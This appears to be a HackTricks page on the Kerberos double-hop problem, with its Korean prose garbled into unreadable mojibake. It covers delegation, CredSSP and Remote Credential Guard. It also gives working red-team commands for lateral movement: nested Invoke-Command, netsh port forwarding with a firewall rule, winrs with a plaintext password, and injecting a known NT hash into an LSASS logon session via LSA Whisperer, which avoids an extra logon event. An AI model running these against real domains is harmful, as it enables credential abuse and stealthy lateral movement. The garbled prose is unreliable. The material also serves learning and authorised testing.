Kerberos Double Hop Problem
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๊ฐ
Kerberos โDouble Hopโ ๋ฌธ์ ๋ ๊ณต๊ฒฉ์๊ฐ Kerberos authentication across two hops์ ์ฌ์ฉํ๋ ค ํ ๋, ์๋ฅผ ๋ค์ด PowerShell/WinRM์ ์ฌ์ฉํ ๋ ๋ฐ์ํฉ๋๋ค.
Kerberos๋ฅผ ํตํ authentication์ด ๋ฐ์ํ๋ฉด credentials์ memory์ ์บ์๋์ง ์์ต๋๋ค. ๋ฐ๋ผ์ mimikatz๋ฅผ ์คํํด๋ ์ฌ์ฉ์๊ฐ ํ๋ก์ธ์ค๋ฅผ ์คํ ์ค์ด๋๋ผ๋ ๋จธ์ ์์ ํด๋น ์ฌ์ฉ์์ credentials๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
์ด๋ Kerberos๋ก ์ฐ๊ฒฐํ ๋ ์ ์ฐจ๊ฐ ๋ค์๊ณผ ๊ฐ๊ธฐ ๋๋ฌธ์ ๋๋ค:
- User1๊ฐ credentials๋ฅผ ์ ๊ณตํ๋ฉด domain controller๋ Kerberos TGT๋ฅผ User1์๊ฒ ๋ฐํํฉ๋๋ค.
- User1๋ TGT๋ฅผ ์ฌ์ฉํด service ticket์ ์์ฒญํ์ฌ connectํ๊ธฐ ์ํด Server1์ ์ ๊ทผํฉ๋๋ค.
- User1๋ Server1์ connectํ๊ณ service ticket์ ์ ๊ณตํฉ๋๋ค.
- Server1์๋ User1์ credentials์ด๋ User1์ TGT๊ฐ ์บ์๋์ด ์์ง ์์ต๋๋ค. ๋ฐ๋ผ์ Server1์์ User1๊ฐ ๋ ๋ฒ์งธ ์๋ฒ์ ๋ก๊ทธ์ธํ๋ ค ํ ๋ ๊ทธ๋ not able to authenticateํฉ๋๋ค.
Unconstrained Delegation
๋ง์ฝ PC์ unconstrained delegation์ด ํ์ฑํ๋์ด ์๋ค๋ฉด, Server๋ ์ ๊ทผํ๋ ๊ฐ ์ฌ์ฉ์์ ๋ํ TGT๋ฅผ getํ๋ฏ๋ก ์ด๋ฌํ ๋ฌธ์ ๊ฐ ๋ฐ์ํ์ง ์์ต๋๋ค. ๋ํ unconstrained delegation์ด ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ ์ด๋ฅผ ํตํด compromise the Domain Controllerํ ์ ์๋ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
More info in the unconstrained delegation page.
CredSSP
์ด ๋ฌธ์ ๋ฅผ ํผํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก notably insecureํ ๊ฒ์ Credential Security Support Provider์ ๋๋ค. Microsoft์ ๋ฐ๋ฅด๋ฉด:
CredSSP authentication delegates the user credentials from the local computer to a remote computer. This practice increases the security risk of the remote operation. If the remote computer is compromised, when credentials are passed to it, the credentials can be used to control the network session.
๋ณด์์์ ์ฐ๋ ค๋ก ์ธํด ํ๋ก๋์
์์คํ
, ๋ฏผ๊ฐํ ๋คํธ์ํฌ ๋ฐ ์ ์ฌํ ํ๊ฒฝ์์๋ CredSSP๋ฅผ ๋นํ์ฑํํ๋ ๊ฒ์ด ๊ฐ๋ ฅํ ๊ถ์ฅ๋ฉ๋๋ค. CredSSP๊ฐ ํ์ฑํ๋์ด ์๋์ง ํ์ธํ๋ ค๋ฉด Get-WSManCredSSP ๋ช
๋ น์ ์คํํ๋ฉด ๋ฉ๋๋ค. ์ด ๋ช
๋ น์ checking of CredSSP status๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ๋ฉฐ, WinRM์ด ํ์ฑํ๋์ด ์์ผ๋ฉด ์๊ฒฉ์ผ๋ก๋ ์คํํ ์ ์์ต๋๋ค.
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
Remote Credential Guard (RCG)
Remote Credential Guard๋ ์ฌ์ฉ์์ TGT๋ฅผ ์๋ ์ํฌ์คํ
์ด์
์ ์ ์งํ๋ฉด์๋ RDP ์ธ์
์ด ๋ค์ ํ์์ ์๋ก์ด Kerberos ์๋น์ค ํฐ์ผ์ ์์ฒญํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค. Computer Configuration > Administrative Templates > System > Credentials Delegation > Restrict delegation of credentials to remote servers๋ฅผ ํ์ฑํํ๊ณ Require Remote Credential Guard๋ฅผ ์ ํํ ๋ค์, CredSSP๋ก ๋๋์๊ฐ์ง ์๋๋ก mstsc.exe /remoteGuard /v:server1๋ก ์ฐ๊ฒฐํ์ธ์.
Microsoft๋ Windows 11 22H2+์์ ๋ฉํฐํ ์ก์ธ์ค์ฉ RCG๋ฅผ 2024๋ 4์ ๋์ ์ ๋ฐ์ดํธ (KB5036896/KB5036899/KB5036894)๊ฐ ์ ์ฉ๋๊ธฐ ์ ๊น์ง ๋์ํ์ง ์๊ฒ ๋ง๋ค์์ต๋๋ค. ํด๋ผ์ด์ธํธ์ ์ค๊ฐ ์๋ฒ๋ฅผ ํจ์นํ์ง ์์ผ๋ฉด ๋ ๋ฒ์งธ ํ์ด ์ฌ์ ํ ์คํจํฉ๋๋ค. ๊ฐ๋จํ ํซํฝ์ค ํ์ธ:
("KB5036896","KB5036899","KB5036894") | ForEach-Object {
Get-HotFix -Id $_ -ErrorAction SilentlyContinue
}
ํด๋น ๋น๋๋ค์ด ์ค์น๋์ด ์์ผ๋ฉด, RDP hop์ ์ฒซ ๋ฒ์งธ ์๋ฒ์์ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ ๋น๋ฐ์ ๋ ธ์ถํ์ง ์๊ณ ๋ ํ์ Kerberos ์์ฒญ์ ์ถฉ์กฑํ ์ ์์ต๋๋ค.
์ฐํ ๋ฐฉ๋ฒ
Invoke Command
double hop ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด, ์ค์ฒฉ๋ Invoke-Command๋ฅผ ์ด์ฉํ ๋ฐฉ๋ฒ์ด ์ ์๋ฉ๋๋ค. ์ด ๋ฐฉ๋ฒ์ ๋ฌธ์ ๋ฅผ ์ง์ ์ ์ผ๋ก ํด๊ฒฐํ์ง๋ ๋ชปํ์ง๋ง, ํน๋ณํ ๊ตฌ์ฑ ์์ด ์ฐํ์ฑ
์ ์ ๊ณตํฉ๋๋ค. ์ด ์ ๊ทผ๋ฒ์ ์ด๊ธฐ ๊ณต๊ฒฉ ๋จธ์ ์์ ์คํ๋ PowerShell ๋ช
๋ น์ด๋ ์ฒซ ๋ฒ์งธ ์๋ฒ์ ๋ฏธ๋ฆฌ ์๋ฆฝ๋ PS-Session์ ํตํด ๋ณด์กฐ ์๋ฒ์์ hostname ๊ฐ์ ๋ช
๋ น์ ์คํํ ์ ์๊ฒ ํฉ๋๋ค. ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
๋์์ผ๋ก, ์ฒซ ๋ฒ์งธ ์๋ฒ์ PS-Session์ ์ค์ ํ๊ณ $cred๋ฅผ ์ฌ์ฉํ์ฌ Invoke-Command๋ฅผ ์คํํ๋ ๊ฒ์ด ์์
์ ์ค์ํํ๋ ๋ฐ ๊ถ์ฅ๋ฉ๋๋ค.
Register PSSession ๊ตฌ์ฑ
double hop ๋ฌธ์ ๋ฅผ ์ฐํํ๋ ํ ๊ฐ์ง ํด๊ฒฐ์ฑ
์ Register-PSSessionConfiguration์ Enter-PSSession๊ณผ ํจ๊ป ์ฌ์ฉํ๋ ๊ฒ์
๋๋ค. ์ด ๋ฐฉ๋ฒ์ evil-winrm๊ณผ๋ ๋ค๋ฅธ ์ ๊ทผ์ ์๊ตฌํ๋ฉฐ, double hop ์ ํ์ ์ํฅ์ ๋ฐ์ง ์๋ ์ธ์
์ ํ์ฉํฉ๋๋ค.
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName TARGET_PC -Credential domain_name\username
klist
PortForwarding
์ค๊ฐ ๋์์ ๋ก์ปฌ ๊ด๋ฆฌ์์๊ฒ port forwarding์ ์์ฒญ์ ์ต์ข
์๋ฒ๋ก ์ ์กํ ์ ์๊ฒ ํด์ค๋ค. netsh๋ฅผ ์ฌ์ฉํ๋ฉด port forwarding์ ์ํ ๊ท์น์ ์ถ๊ฐํ๊ณ , ์ ๋ฌ๋๋ ํฌํธ๋ฅผ ํ์ฉํ๊ธฐ ์ํ Windows firewall rule์ ํจ๊ป ๋ง๋ค ์ ์๋ค.
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
winrs.exe
winrs.exe๋ WinRM ์์ฒญ์ ์ ๋ฌํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, PowerShell ๋ชจ๋ํฐ๋ง์ด ์ฐ๋ ค๋๋ ๊ฒฝ์ฐ ํ์ง ๊ฐ๋ฅ์ฑ์ด ๋ ๋ฎ์ ์ต์
์ด ๋ ์ ์์ต๋๋ค. ์๋ ๋ช
๋ น์ ๊ทธ ์ฌ์ฉ ์๋ฅผ ๋ณด์ฌ์ค๋๋ค:
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
OpenSSH
์ฒซ ๋ฒ์งธ ์๋ฒ์ OpenSSH๋ฅผ ์ค์นํ๋ฉด ํนํ jump box ์๋๋ฆฌ์ค์์ double-hop ๋ฌธ์ ์ ๋ํ ์ฐํ๊ฐ ๊ฐ๋ฅํฉ๋๋ค. ์ด ๋ฐฉ๋ฒ์ Windows์ฉ OpenSSH๋ฅผ CLI๋ก ์ค์นํ๊ณ ์ค์ ํด์ผ ํฉ๋๋ค. Password Authentication์ผ๋ก ๊ตฌ์ฑํ๋ฉด ์ค๊ฐ ์๋ฒ๊ฐ ์ฌ์ฉ์ ๋์ TGT๋ฅผ ์ป์ ์ ์์ต๋๋ค.
OpenSSH ์ค์น ๋จ๊ณ
- ์ต์ OpenSSH ๋ฆด๋ฆฌ์ค zip์ ๋ค์ด๋ก๋ํ์ฌ ๋์ ์๋ฒ๋ก ์ฎ๊น๋๋ค.
- ์์ถ์ ํ๊ณ
Install-sshd.ps1์คํฌ๋ฆฝํธ๋ฅผ ์คํํฉ๋๋ค. - ํฌํธ 22๋ฅผ ์ด๋๋ก ๋ฐฉํ๋ฒฝ ๊ท์น์ ์ถ๊ฐํ๊ณ SSH ์๋น์ค๊ฐ ์คํ ์ค์ธ์ง ํ์ธํฉ๋๋ค.
Connection reset ์ค๋ฅ๋ฅผ ํด๊ฒฐํ๋ ค๋ฉด OpenSSH ๋๋ ํฐ๋ฆฌ์ ๋ํด Everyone์๊ฒ ์ฝ๊ธฐ ๋ฐ ์คํ ๊ถํ์ ๋ถ์ฌํ๋๋ก ๊ถํ์ ์
๋ฐ์ดํธํด์ผ ํ ์ ์์ต๋๋ค.
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
LSA Whisperer CacheLogon (๊ณ ๊ธ)
LSA Whisperer (2024)์ msv1_0!CacheLogon ํจํค์ง ํธ์ถ์ ๋
ธ์ถ์์ผ, ์๋ก์ด ์ธ์
์ LogonUser๋ก ์์ฑํ๋ ๋์ ์๋ ค์ง NT hash๋ก ๊ธฐ์กด ๋คํธ์ํฌ ๋ก๊ทธ์จ์ ์๋ํ ์ ์๊ฒ ํฉ๋๋ค. WinRM/PowerShell์ด ์ด๋ฏธ ํ #1์์ ์ฐ ๋ก๊ทธ์จ ์ธ์
์ ํด์๋ฅผ ์ฃผ์
ํ๋ฉด, ํด๋น ํธ์คํธ๋ ๋ช
์์ ์๊ฒฉ์ฆ๋ช
์ ์ฅ์ด๋ ์ถ๊ฐ 4624 ์ด๋ฒคํธ ์์ฑ ์์ด ํ #2์ ์ธ์ฆํ ์ ์์ต๋๋ค.
- LSASS ๋ด์์ ์ฝ๋ ์คํ์ ์ป์ต๋๋ค(์: PPL์ ๋นํ์ฑํ/์ ์ฉํ๊ฑฐ๋ ์์ ์ด ์ ์ดํ๋ ์ค์ต VM์์ ์คํ).
- ๋ก๊ทธ์จ ์ธ์
์ ์ด๊ฑฐํฉ๋๋ค(์:
lsa.exe sessions) ๊ทธ๋ฆฌ๊ณ ์๊ฒฉ ์ปจํ ์คํธ์ ํด๋นํ๋ LUID๋ฅผ ์บก์ฒํฉ๋๋ค. - NT hash๋ฅผ ์ฌ์ ๊ณ์ฐํ์ฌ
CacheLogon์ ์ ๊ณตํ ๋ค, ์๋ฃ๋๋ฉด ์ง์๋๋ค.
lsa.exe cachelogon --session 0x3e4 --domain ta --username redsuit --nthash a7c5480e8c1ef0ffec54e99275e6e0f7
lsa.exe cacheclear --session 0x3e4
์บ์ ์๋ ํ, hop #1์์ Invoke-Command/New-PSSession๋ฅผ ๋ค์ ์คํํ๋ฉด: LSASS๋ ์ฃผ์
๋ ํด์๋ฅผ ์ฌ์ฌ์ฉํ์ฌ ๋ ๋ฒ์งธ ํ์ Kerberos/NTLM ์ฑ๋ฆฐ์ง๋ฅผ ์ถฉ์กฑ์ํค๋ฏ๋ก double hop ์ ์ฝ์ ๊น๋ํ๊ฒ ์ฐํํฉ๋๋ค. ๋จ์ ์ ๋ ๋ง์ telemetry(LSASS์์์ ์ฝ๋ ์คํ)๊ฐ ๋ฐ์ํ๋ค๋ ์ ์ด๋ฏ๋ก CredSSP/RCG๊ฐ ๊ธ์ง๋ ๋ง์ฐฐ์ด ํฐ ํ๊ฒฝ์์๋ง ์ฌ์ฉํ์ธ์.
References
- https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20
- https://posts.slayerlabs.com/double-hop/
- https://learn.microsoft.com/en-gb/archive/blogs/sergey_babkins_blog/another-solution-to-multi-hop-powershell-remoting
- https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/
- https://support.microsoft.com/en-au/topic/april-9-2024-kb5036896-os-build-17763-5696-efb580f1-2ce4-4695-b76c-d2068a00fb92
- https://specterops.io/blog/2024/04/17/lsa-whisperer/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


